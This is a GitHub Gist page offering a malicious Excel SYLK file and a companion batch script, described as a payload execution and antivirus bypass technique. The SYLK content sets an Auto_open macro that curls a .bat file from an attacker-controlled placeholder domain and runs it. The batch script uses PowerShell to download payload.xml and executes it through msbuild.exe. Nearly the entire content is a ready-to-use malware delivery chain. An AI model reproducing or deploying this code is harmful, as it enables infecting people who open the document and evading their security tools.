Skip to content

Instantly share code, notes, and snippets.

@wsummerhill
Last active February 27, 2020 16:08
Show Gist options
  • Save wsummerhill/3d40f2cff4f4020874a2256ce15306cd to your computer and use it in GitHub Desktop.
Save wsummerhill/3d40f2cff4f4020874a2256ce15306cd to your computer and use it in GitHub Desktop.
Excel SLK file with remote .bat script for payload execution and AV bypass
@ECHO OFF
powershell -ep 1 -c (new-object Net.WebClient).DownloadFile(\"https://YourDomain.org/payload.xml\",\"$env:TMP\Debug.tmp\")
%windir%\Microsoft.NET\Framework\v4.0.30319\msbuild.exe %temp%\Debug.tmp
ID;P
O;E
NN;NAuto_open;ER101C1;KOut Flank;F
C;X1;Y101;K0;EEXEC("cmd /c curl https://YourDomain.org/test.bat -o %temp%\test.bat & %temp%\test.bat")
C;X1;Y102;EHALT()
E
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment